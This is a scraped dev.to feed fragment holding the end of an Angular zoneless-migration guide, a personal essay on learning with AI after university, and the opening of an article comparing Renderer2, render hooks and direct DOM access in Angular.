&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzd58n5idwz2kg5vg5elm.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzd58n5idwz2kg5vg5elm.jpeg" alt="Dashboard App Example" width="799" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to migrate without breaking everything
&lt;/h2&gt;

&lt;p&gt;Here is the order I would use on a real project:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Audit for incidental ticks. Search for setTimeout, setInterval, requestAnimationFrame, raw addEventListener, WebSocket, and SDK callbacks that mutate component fields.&lt;/li&gt;
&lt;li&gt;Make reactivity explicit. Convert local state to signals. Convert subscriptions to AsyncPipe or toSignal.&lt;/li&gt;
&lt;li&gt;Standardize manual notification. For anything you cannot convert, end the callback with markForCheck.&lt;/li&gt;
&lt;li&gt;Enable zoneless at bootstrap and remove zone.js from polyfills.&lt;/li&gt;
&lt;li&gt;Fix the tests last, with fake timers and explicit detectChanges calls.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  A real migration, feature by feature
&lt;/h2&gt;

&lt;p&gt;Let me make this concrete with a feature most apps have: a dashboard that polls the server.&lt;/p&gt;

&lt;p&gt;The old component looked roughly like this. A plain field held the data, and ngOnInit called a service that set the field inside a setInterval callback. Zone.js made it render. Under zoneless it renders nothing, because the callback is not an Angular entry point.&lt;/p&gt;

&lt;p&gt;The migration for that one feature goes in three small steps.&lt;/p&gt;

&lt;p&gt;First, move the polling state into a signal. The service can still own the timer, but it writes to the signal instead of a plain field. The view updates, and you have removed one incidental dependency.&lt;/p&gt;

&lt;p&gt;Second, if the service must stay imperative, have it call markForCheck after each update. That is the escape hatch for code you are not ready to rewrite yet.&lt;/p&gt;

&lt;p&gt;Third, look at the tests. Replace any fakeAsync or whenStable wait with fake timers and explicit detectChanges. This is usually where the migration takes the most time, not the components themselves.&lt;/p&gt;

&lt;p&gt;Do that for one feature, ship it with Zone.js still enabled, and repeat. Because signals and markForCheck work in both worlds, each feature you convert makes the eventual flip smaller and safer. By the time you remove zone.js, there is almost nothing left to break.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you win
&lt;/h2&gt;

&lt;p&gt;It is easy to focus on the breakages and forget why you are doing this at all. The wins are real:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Smaller bundles. zone.js is a meaningful chunk of JavaScript you no longer ship.&lt;/li&gt;
&lt;li&gt;Predictable updates. A view changes because a signal, an event, or an AsyncPipe said so, not because some timer you forgot about fired.&lt;/li&gt;
&lt;li&gt;Better performance. No more full tree passes triggered by unrelated async work. The scheduler coalesces updates and touches only what changed.&lt;/li&gt;
&lt;li&gt;One less framework magic trick. New team members can reason about when and why a view updates, which is worth a lot on a growing codebase.&lt;/li&gt;
&lt;li&gt;Easier debugging. When a view does not update, the reason is usually obvious: nobody wrote a signal, emitted through AsyncPipe, or called markForCheck.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Trade offs and when not to do it
&lt;/h2&gt;

&lt;p&gt;Zoneless is not free. The main cost is discipline. Every state change now has to be explicit, and if your team is not ready for that, you will ship frozen UI. The other cost is third party risk. Any library that assumed Zone.js becomes your job to wrap.&lt;/p&gt;

&lt;p&gt;If you are not in a hurry, the honest path is to keep Zone.js for now and start converting state to signals. Signals work in both worlds, so you can do most of the hard migration before you flip the switch. When the audit shows nothing left leaning on incidental ticks, enabling zoneless is a one line change.&lt;/p&gt;

&lt;p&gt;Also avoid the trap of replacing one global tick with many manual detectChanges calls. That can be worse than Zone.js. Prefer signals and markForCheck, which the scheduler can coalesce.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common mistakes to avoid
&lt;/h2&gt;

&lt;p&gt;A few things I see teams do after the switch that make things worse:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Calling detectChanges everywhere. It is synchronous and easy to abuse. markForCheck schedules the check and lets Angular coalesce it.&lt;/li&gt;
&lt;li&gt;Keeping Zone.js in tests while removing it in production. Your tests pass and your users see frozen UI. Run a zoneless CI job.&lt;/li&gt;
&lt;li&gt;Converting every field to a signal in one giant refactor. Do it feature by feature, and ship the signal changes while Zone.js is still on, because signals work in both worlds.&lt;/li&gt;
&lt;li&gt;Ignoring third party SDKs until the last minute. They are usually the hardest part, so audit them first, not last.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Questions I get asked
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Will zoneless make my app faster?
&lt;/h3&gt;

&lt;p&gt;Usually yes, but do not expect magic. The win comes from fewer and smaller change detection passes, plus a smaller bundle once zone.js is gone. The size of the win depends on how much your app relied on the global tick. A huge app with many timers often sees a real improvement. A tiny app might see almost none.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do I have to rewrite everything to signals first?
&lt;/h3&gt;

&lt;p&gt;No. You can keep plain fields as long as you notify Angular with markForCheck. Signals are the cleaner long term answer, but markForCheck is a valid bridge, and it is exactly what the framework offers for imperative code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I keep Zone.js for a while?
&lt;/h3&gt;

&lt;p&gt;Yes. Zone.js is still supported, and Angular lets you keep it while you convert. The sane path is to convert features while the zone is on, then flip when the audit is clean. You do not have to do it in one weekend.&lt;/p&gt;

&lt;h3&gt;
  
  
  What about NgZone.run and runOutsideAngular?
&lt;/h3&gt;

&lt;p&gt;They still exist and still work for libraries that need them. The difference is that NgZone no longer drives change detection. Code that waited for the zone to become stable, or that assumed any async work would tick, is the code you need to revisit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is this related to OnPush?
&lt;/h3&gt;

&lt;p&gt;Kind of. Zoneless does not force OnPush, but it pushes the same mental model: update when something tells you to, not because a global timer ran. If you are already disciplined with OnPush, signals, and AsyncPipe, the migration will feel easy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Zoneless does not really break your app. It reveals it. Every frozen counter and silent dropdown is a spot where you were leaning on a global tick you never thought about. The migration is boring in the best way: find the incidental ticks, make the state explicit, and the rest follows.&lt;/p&gt;

&lt;p&gt;If you want to start today, audit one feature. Search it for timers and raw listeners. Convert the plain fields to signals. Then flip just that feature and watch it in production for a week. The app wide switch can wait until the audit comes back clean.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Angular zoneless guide: &lt;a href="https://angular.dev/guide/zoneless" rel="noopener noreferrer"&gt;https://angular.dev/guide/zoneless&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Angular signals guide: &lt;a href="https://angular.dev/guide/signals" rel="noopener noreferrer"&gt;https://angular.dev/guide/signals&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>angular</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Learning in the age of AI</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Wed, 12 Aug 2026 08:58:02 +0000</pubDate>
      <link>https://dev.to/krivanek06/learning-in-the-age-of-ai-329a</link>
      <guid>https://dev.to/krivanek06/learning-in-the-age-of-ai-329a</guid>
      <description>&lt;h1&gt;
  
  
  Learning in Age of AI Feels Like Drowning. Here's How I'm Trying to Swim
&lt;/h1&gt;

&lt;p&gt;I finished university at 24 and thought learning would finally get easier. No exams, no arbitrary deadlines, no professor reading slides from 2009.&lt;/p&gt;

&lt;p&gt;Instead, I got internet in its final boss form. Every topic comes with 400 YouTube videos, 30 newsletters, 12 contradictory roadmaps, one guy on X saying books are dead, another saying courses are scams, and ChatGPT ready to answer everything so fast that I sometimes forget to think.&lt;/p&gt;

&lt;p&gt;If you're in your twenties, early in your career, and weirdly less motivated to learn than you were during finals week, you're not lazy. You're probably overloaded, under-committed, and stuck in content grazing mode.&lt;/p&gt;

&lt;p&gt;That was me.&lt;/p&gt;

&lt;p&gt;This is my attempt to explain what changed, what made learning feel empty, and what I am doing now that works better than collecting bookmarks like I am building digital bunker for some future version of myself who suddenly becomes disciplined.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo19thgefjt61x10ngtfx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo19thgefjt61x10ngtfx.png" alt="Image of a student" width="799" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What learning in age of AI actually feels like
&lt;/h2&gt;

&lt;p&gt;People keep saying AI has made learning easier.&lt;/p&gt;

&lt;p&gt;Technically, sure. Explanations are cheaper. Summaries are instant. Boilerplate is free. If you want quick entry into almost any field, you can get it in 30 seconds.&lt;/p&gt;

&lt;p&gt;But easier access has not produced clearer direction.&lt;/p&gt;

&lt;p&gt;It has produced more tabs.&lt;/p&gt;

&lt;p&gt;When I was in university, learning had structure even when structure was stupid. Someone told me what chapter mattered, when test was, what counted as enough. I complained about it constantly.&lt;/p&gt;

&lt;p&gt;Now nobody stops me from learning anything. Which sounds liberating until you realize nobody tells you what to ignore either.&lt;/p&gt;

&lt;p&gt;That is real tax of AI age for people like me. Not lack of information. Lack of stopping points.&lt;/p&gt;

&lt;p&gt;I can ask AI to build me reading list for distributed systems, explain memory management like I am five, compare five frameworks, quiz me on syntax, and generate practice projects before I finish coffee.&lt;/p&gt;

&lt;p&gt;I can do all that and still end day feeling like I learned nothing durable.&lt;/p&gt;

&lt;p&gt;Because consuming explanations is not same thing as building capability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why endless educational content kills motivation
&lt;/h2&gt;

&lt;p&gt;I used to think motivation disappeared because attention spans got worse. That is part of it, but not main part.&lt;/p&gt;

&lt;p&gt;Main problem is that modern learning systems are optimized to keep you circulating, not progressing.&lt;/p&gt;

&lt;p&gt;YouTube wants next video watched. Course platforms want next module opened. Newsletters want next issue read. AI tools want next prompt typed. None of them are designed around one uncomfortable question: what can you do now that you could not do two weeks ago?&lt;/p&gt;

&lt;p&gt;That question is rude. It is also useful.&lt;/p&gt;

&lt;p&gt;Most content makes me feel adjacent to competence. That is dangerous feeling because it looks enough like progress to let me off hook.&lt;/p&gt;

&lt;p&gt;I know this pattern too well:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;I decide to learn something concrete, maybe system design, SQL optimization, or statistics.&lt;/li&gt;
&lt;li&gt;I search for best resources.&lt;/li&gt;
&lt;li&gt;I compare resources for so long that resource selection becomes project.&lt;/li&gt;
&lt;li&gt;I ask AI to summarize differences.&lt;/li&gt;
&lt;li&gt;I feel productive because document exists.&lt;/li&gt;
&lt;li&gt;I do not actually practice hard part.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That cycle is not learning.&lt;/p&gt;

&lt;p&gt;It is pre-learning cosplay.&lt;/p&gt;

&lt;p&gt;AI makes this worse because it removes friction from preparation. Preparation used to take time, which occasionally forced commitment. Now I can generate perfect study plan in seconds, ignore it, then generate slightly better study plan tomorrow.&lt;/p&gt;

&lt;p&gt;I have done this enough times to respect ugly truth: abundance does not motivate. Constraint does.&lt;/p&gt;

&lt;h2&gt;
  
  
  What AI is good at for learning, and where it quietly sabotages you
&lt;/h2&gt;

&lt;p&gt;AI is useful for learning. I am not interested in fake purist takes where real education only happens with dusty textbooks and suffering.&lt;/p&gt;

&lt;p&gt;I use AI constantly.&lt;/p&gt;

&lt;p&gt;I use it to translate jargon into normal language. I use it to generate examples when docs are too abstract. I use it to quiz me. I use it to critique drafts. I use it to help me get unstuck when I am blocked for long enough that frustration starts pretending to be principle.&lt;/p&gt;

&lt;p&gt;That part is great.&lt;/p&gt;

&lt;p&gt;Problem starts when AI becomes substitute for wrestling with confusion.&lt;/p&gt;

&lt;p&gt;Confusion feels inefficient, but confusion is often where learning is happening. If I ask for answer too early, I borrow clarity without building it.&lt;/p&gt;

&lt;p&gt;This is where AI quietly sabotages me. Not because answer is wrong. Because answer arrives before I have earned question.&lt;/p&gt;

&lt;p&gt;When that happens, I get smooth explanation and weak memory.&lt;/p&gt;

&lt;p&gt;I recognize concept when I see it again, which feels comforting, but recognition is cheap. Recall is expensive. Application is where invoices show up.&lt;/p&gt;

&lt;p&gt;There is also ego trap. AI lets me sound smarter than I am. It helps produce code, notes, summaries, and opinions polished enough to pass casual inspection.&lt;/p&gt;

&lt;p&gt;But polished output can hide shallow understanding, especially from person producing it.&lt;/p&gt;

&lt;p&gt;Nothing is more humbling than explaining concept confidently, then freezing when tiny detail changes.&lt;/p&gt;

&lt;p&gt;If AI gives me finished thought too early, I become editor of understanding instead of builder of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What changed after university, and why learning feels emotionally harder now
&lt;/h2&gt;

&lt;p&gt;University gave me artificial urgency. Career gives me ambient anxiety.&lt;/p&gt;

&lt;p&gt;Those are not same fuel source.&lt;/p&gt;

&lt;p&gt;In school, target was obvious even when subject was boring. Pass exam. Finish paper. Graduate. There was scoreboard, schedule, and social proof because everyone around me was also trapped in same machine.&lt;/p&gt;

&lt;p&gt;Now learning is tied to fuzzier questions.&lt;/p&gt;

&lt;p&gt;Am I falling behind?&lt;/p&gt;

&lt;p&gt;Should I learn what is useful now or what might matter in three years?&lt;/p&gt;

&lt;p&gt;Do I go broader because world is changing fast, or narrower because specialization still wins?&lt;/p&gt;

&lt;p&gt;Is this curiosity, career strategy, or panic wearing glasses?&lt;/p&gt;

&lt;p&gt;That emotional uncertainty matters more than most productivity advice admits.&lt;/p&gt;

&lt;p&gt;A lot of us are not failing to learn because we lack discipline. We are failing because we do not trust our direction, so we keep reopening decision instead of paying cost of commitment.&lt;/p&gt;

&lt;p&gt;This is why motivation feels unstable. Motivation hates unresolved scope.&lt;/p&gt;

&lt;p&gt;When path is undefined, every study session starts with existential admin.&lt;/p&gt;

&lt;h2&gt;
  
  
  What finally helped me: fewer inputs, more proof
&lt;/h2&gt;

&lt;p&gt;I did not need better motivation hack.&lt;/p&gt;

&lt;p&gt;I needed smaller learning system.&lt;/p&gt;

&lt;p&gt;These are changes that helped most.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pick one skill with labor market value, not ten interesting topics
&lt;/h2&gt;

&lt;p&gt;For long time I organized learning around interest. That sounds noble. It was mostly avoidance.&lt;/p&gt;

&lt;p&gt;Interest matters, but interest without selection becomes drift.&lt;/p&gt;

&lt;p&gt;What worked better was picking one skill that compounds professionally and then letting curiosity live inside that boundary.&lt;/p&gt;

&lt;p&gt;Not "learn AI."&lt;/p&gt;

&lt;p&gt;Something like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;write better SQL for real datasets&lt;/li&gt;
&lt;li&gt;debug production systems faster&lt;/li&gt;
&lt;li&gt;become competent at TypeScript in large codebases&lt;/li&gt;
&lt;li&gt;understand statistics well enough to stop misreading experiments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This matters because vague learning goals create vague stopping conditions.&lt;/p&gt;

&lt;p&gt;Specific skill creates tension. Tension creates action.&lt;/p&gt;

&lt;p&gt;Once I chose one direction, random content got easier to reject. That felt almost suspiciously powerful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build learning around outputs that can embarrass you
&lt;/h2&gt;

&lt;p&gt;This changed everything.&lt;/p&gt;

&lt;p&gt;Private notes are too forgiving. Highlights are too forgiving. AI chats are extremely forgiving.&lt;/p&gt;

&lt;p&gt;Outputs with consequences work better.&lt;/p&gt;

&lt;p&gt;By consequences, I do not mean public humiliation ritual. I mean artifact that reveals whether understanding is real.&lt;/p&gt;

&lt;p&gt;Good examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;write short explanation from memory without looking anything up&lt;/li&gt;
&lt;li&gt;solve problem on blank page&lt;/li&gt;
&lt;li&gt;build tiny project with self-imposed constraints&lt;/li&gt;
&lt;li&gt;teach friend one concept clearly&lt;/li&gt;
&lt;li&gt;review real code and justify every suggestion&lt;/li&gt;
&lt;li&gt;recreate idea from scratch three days later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If result can expose confusion, it can teach.&lt;/p&gt;

&lt;p&gt;If result only makes me feel organized, it probably cannot.&lt;/p&gt;

&lt;p&gt;I have learned more from trying to explain one difficult idea badly than from reading ten polished explainers about it.&lt;/p&gt;

&lt;p&gt;Painful. Useful. Annoyingly correlated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use AI late in cycle, not early
&lt;/h2&gt;

&lt;p&gt;This is most practical rule I have.&lt;/p&gt;

&lt;p&gt;I try to touch problem myself before asking AI to help. Even 15 minutes changes quality of interaction.&lt;/p&gt;

&lt;p&gt;Instead of saying, "Teach me this topic," I now do something closer to this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read primary source, docs, chapter, paper, or problem statement.&lt;/li&gt;
&lt;li&gt;Write what I think is happening in my own words.&lt;/li&gt;
&lt;li&gt;Attempt solution or explanation.&lt;/li&gt;
&lt;li&gt;Mark exact point where understanding breaks.&lt;/li&gt;
&lt;li&gt;Ask AI narrow question about that break.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This keeps AI in role of tutor, not ventriloquist.&lt;/p&gt;

&lt;p&gt;Difference is subtle but huge. If I ask broad question too soon, AI gives polished abstraction. If I ask after failing specifically, answer attaches to something real in my head.&lt;/p&gt;

&lt;p&gt;That is sticky learning.&lt;/p&gt;

&lt;p&gt;I also ask AI to challenge me more often now.&lt;/p&gt;

&lt;p&gt;Useful prompts look like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Here is my explanation. Where am I hand-waving?"&lt;/li&gt;
&lt;li&gt;"Give me counterexample that breaks my mental model."&lt;/li&gt;
&lt;li&gt;"Quiz me on this without multiple choice."&lt;/li&gt;
&lt;li&gt;"What would experienced engineer criticize in this approach?"&lt;/li&gt;
&lt;li&gt;"Do not solve it yet. Narrow my search space."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those prompts create resistance.&lt;/p&gt;

&lt;p&gt;Resistance is annoying. Resistance is also where memory comes from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stop optimizing resource stack
&lt;/h2&gt;

&lt;p&gt;I had period where I treated learning like infrastructure project.&lt;/p&gt;

&lt;p&gt;Obsidian vault. Read-it-later app. Highlight sync. Folder taxonomy. Tagging strategy. Saved prompts. Course spreadsheet. Ranking matrix for educational YouTube channels. Probably one step away from procurement process.&lt;/p&gt;

&lt;p&gt;Very little of that moved needle.&lt;/p&gt;

&lt;p&gt;I do not think tools are useless. I think they become procrastination when system is prettier than output.&lt;/p&gt;

&lt;p&gt;Now my rule is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;one primary resource&lt;/li&gt;
&lt;li&gt;one place for notes&lt;/li&gt;
&lt;li&gt;one recurring output format&lt;/li&gt;
&lt;li&gt;one review cadence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is enough.&lt;/p&gt;

&lt;p&gt;Anything more has to justify itself by improving recall or application, not aesthetics.&lt;/p&gt;

&lt;p&gt;My old systems looked impressive. They were also graveyards.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make peace with missing out on useful knowledge
&lt;/h2&gt;

&lt;p&gt;This part bothered me most.&lt;/p&gt;

&lt;p&gt;I wanted complete map before committing. I wanted confidence that I was learning right thing, from right source, in right order.&lt;/p&gt;

&lt;p&gt;That mindset is understandable. It is also impossible now.&lt;/p&gt;

&lt;p&gt;There is too much good material. Not too much material, too much good material. That makes decision harder because options are not obviously bad.&lt;/p&gt;

&lt;p&gt;You will skip valuable books. Miss important papers. Ignore smart people. Start with imperfect resource. Learn one abstraction before another. That is normal.&lt;/p&gt;

&lt;p&gt;If you cannot tolerate that, you stay in comparison loop forever.&lt;/p&gt;

&lt;p&gt;Maturity here is not finding perfect path.&lt;/p&gt;

&lt;p&gt;It is accepting that learning anything meaningful requires deliberate ignorance of other worthy things.&lt;/p&gt;

&lt;p&gt;That is not failure. That is price of depth.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I do now during typical week
&lt;/h2&gt;

&lt;p&gt;Nothing here is glamorous. That is point.&lt;/p&gt;

&lt;p&gt;I try to keep weekly learning loop boring enough to repeat.&lt;/p&gt;

&lt;h3&gt;
  
  
  Monday: define one concrete question
&lt;/h3&gt;

&lt;p&gt;Not broad domain. One question.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why does this query slow down as data shape changes?&lt;/li&gt;
&lt;li&gt;What problem do indexes actually solve in practice?&lt;/li&gt;
&lt;li&gt;How does event loop behavior show up in real debugging?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If question is too large, week disappears into intake.&lt;/p&gt;

&lt;h3&gt;
  
  
  Midweek: struggle in public or at least on paper
&lt;/h3&gt;

&lt;p&gt;I write rough explanation, build toy example, or attempt problem with no AI help for first pass.&lt;/p&gt;

&lt;p&gt;This part feels worst.&lt;/p&gt;

&lt;p&gt;Which is usually sign that it is doing something.&lt;/p&gt;

&lt;h3&gt;
  
  
  Then: use AI as reviewer, not ghostwriter
&lt;/h3&gt;

&lt;p&gt;After first attempt, I ask for critique, missing edge cases, alternative mental models, or practice prompts.&lt;/p&gt;

&lt;p&gt;I do not ask for nice summary unless I am comparing my understanding to it.&lt;/p&gt;

&lt;h3&gt;
  
  
  End of week: produce one artifact
&lt;/h3&gt;

&lt;p&gt;Small post. Cheat sheet from memory. Mini demo. Debugging note. Flash explanations. Anything that leaves residue.&lt;/p&gt;

&lt;p&gt;If week ends with only consumed content, I count it as partial at best.&lt;/p&gt;

&lt;p&gt;That sounds strict.&lt;/p&gt;

&lt;p&gt;It is less strict than spending six months feeling vaguely guilty.&lt;/p&gt;

&lt;h2&gt;
  
  
  What did not work for me
&lt;/h2&gt;

&lt;p&gt;Some advice sounds good and failed hard in practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Follow your curiosity"
&lt;/h3&gt;

&lt;p&gt;Good for wandering. Bad for compounding skill when attention already fragmented.&lt;/p&gt;

&lt;p&gt;Curiosity needs fences or it becomes browser behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Use AI to personalize your learning"
&lt;/h3&gt;

&lt;p&gt;Usually translated into endless plan generation.&lt;/p&gt;

&lt;p&gt;Personalization matters less than repetition, recall, and feedback. Fancy custom curriculum cannot save low contact hours with actual difficulty.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Learn in public"
&lt;/h3&gt;

&lt;p&gt;Helpful for some people. For me, it became performance trap when used too early.&lt;/p&gt;

&lt;p&gt;Posting half-formed ideas can force clarity.&lt;/p&gt;

&lt;p&gt;It can also reward presentation before comprehension. I prefer private struggle first, public artifact second.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Just stay consistent"
&lt;/h3&gt;

&lt;p&gt;True, but incomplete.&lt;/p&gt;

&lt;p&gt;Consistency with bad loop still produces disappointment on schedule.&lt;/p&gt;

&lt;p&gt;You need feedback from reality, not only streak counter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Known limitations of this approach
&lt;/h2&gt;

&lt;p&gt;This is not universal system.&lt;/p&gt;

&lt;p&gt;If you are learning for credential, exam, or tightly structured interview pipeline, you may need more coverage and less wandering than I describe here.&lt;/p&gt;

&lt;p&gt;If you are burned out, problem may not be learning strategy at all. It may be exhaustion wearing productivity costume.&lt;/p&gt;

&lt;p&gt;If you are financially stressed, advice about curiosity and depth can sound a little romantic. Fair enough. Sometimes most rational learning plan is direct employability, not intellectual elegance.&lt;/p&gt;

&lt;p&gt;Also, AI genuinely can accelerate beginners when used well. I am not arguing for unnecessary suffering. I am arguing against outsourcing too much cognition too early.&lt;/p&gt;

&lt;p&gt;That distinction matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  What learning in age of AI should probably become
&lt;/h2&gt;

&lt;p&gt;I do not think valuable learners of next decade will be people who memorize most raw information.&lt;/p&gt;

&lt;p&gt;AI already humiliates that strategy.&lt;/p&gt;

&lt;p&gt;I think valuable learners will be people who can do four things reliably:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;decide what matters&lt;/li&gt;
&lt;li&gt;frame good questions&lt;/li&gt;
&lt;li&gt;test understanding against reality&lt;/li&gt;
&lt;li&gt;stay with problem long enough to build original judgment&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That fourth one feels endangered.&lt;/p&gt;

&lt;p&gt;AI is incredible at giving shape to blank page. It is much worse at deciding what is worth caring about in first place. It can accelerate path, but it cannot choose meaningful direction for you without borrowing someone else's priorities.&lt;/p&gt;

&lt;p&gt;That part is still human work.&lt;/p&gt;

&lt;p&gt;Annoying, inconvenient, non-automatable human work.&lt;/p&gt;

&lt;p&gt;Which is probably why it matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you're 25 and feel behind, start here
&lt;/h2&gt;

&lt;p&gt;This is short version I wish someone had handed me after graduation.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Choose one marketable skill for next 8 weeks
&lt;/h3&gt;

&lt;p&gt;Not identity overhaul. Not life mission. One skill with visible payoff.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Pick one main resource and ignore rest
&lt;/h3&gt;

&lt;p&gt;You can be wrong and still make progress faster than person comparing forever.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Use AI after first attempt
&lt;/h3&gt;

&lt;p&gt;Get confused on your own first. Then ask better question.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Produce one artifact every week
&lt;/h3&gt;

&lt;p&gt;If nothing remains at end, learning probably evaporated too.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Review what you can do, not what you consumed
&lt;/h3&gt;

&lt;p&gt;Bookmarks are not competence. Summaries are not competence. Familiarity is not competence.&lt;/p&gt;

&lt;p&gt;That distinction hurts a little.&lt;/p&gt;

&lt;p&gt;It also clears room for actual progress.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ: learning in age of AI
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is AI making students and graduates less motivated to learn?
&lt;/h3&gt;

&lt;p&gt;Sometimes, yes. AI can reduce friction so much that people consume polished answers instead of building understanding. Motivation drops when learning turns into passive intake without clear proof of progress.&lt;/p&gt;

&lt;h3&gt;
  
  
  How should you use AI without becoming dependent on it?
&lt;/h3&gt;

&lt;p&gt;Use AI after first attempt, not before. Let it critique your thinking, generate practice, or explain exact sticking point. Do not let it replace initial struggle with problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is best way to learn when there is too much content online?
&lt;/h3&gt;

&lt;p&gt;Choose one concrete skill, one primary resource, and one weekly output. Too much content becomes manageable when you create strict selection criteria and ignore most of what is available.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does learning after university feel harder?
&lt;/h3&gt;

&lt;p&gt;Because structure disappears. University gives deadlines, scope, and shared expectations. After graduation, you need to choose direction, pace, and definition of enough on your own, which is emotionally harder than most people admit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing: less content, more contact
&lt;/h2&gt;

&lt;p&gt;I still use AI almost every day.&lt;/p&gt;

&lt;p&gt;But I trust it more as sparring partner than source of certainty.&lt;/p&gt;

&lt;p&gt;If learning feels dead lately, I would not assume you have lost curiosity. You may have lost contact with difficulty, consequence, and direction.&lt;/p&gt;

&lt;p&gt;So cut inputs. Pick something useful. Try before asking. Make artifact before moving on.&lt;/p&gt;

&lt;p&gt;That is less exciting than building perfect learning dashboard.&lt;/p&gt;

&lt;p&gt;It is also first thing that made me feel like I was actually learning again.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>career</category>
    </item>
    <item>
      <title>Renderer2 vs render hooks vs direct DOM access in Angular</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Wed, 17 Jun 2026 17:49:22 +0000</pubDate>
      <link>https://dev.to/krivanek06/renderer2-vs-render-hooks-vs-direct-dom-access-in-angular-11b8</link>
      <guid>https://dev.to/krivanek06/renderer2-vs-render-hooks-vs-direct-dom-access-in-angular-11b8</guid>
      <description>&lt;p&gt;Every Angular developer eventually gets here. You build a nice clean component, everything looks reactive and predictable, and then suddenly you need to touch the DOM. Maybe you need to focus an input. Maybe measure an element. Maybe wire up a third party library. Maybe update something after the view is rendered.&lt;/p&gt;

&lt;p&gt;And this is usually the moment where the code starts getting weird. For a long time, Renderer2 was the answer people repeated almost automatically. If you need DOM manipulation, use Renderer2. That advice was not wrong, but it was also not complete. Angular has changed a lot. Today we also have render hooks like afterNextRender and afterRenderEffect, and in some cases direct DOM access is completely reasonable. So the real question is no longer which API exists. The real question is which one you should choose for the job in front of you. That is what I want to break down here.&lt;/p&gt;

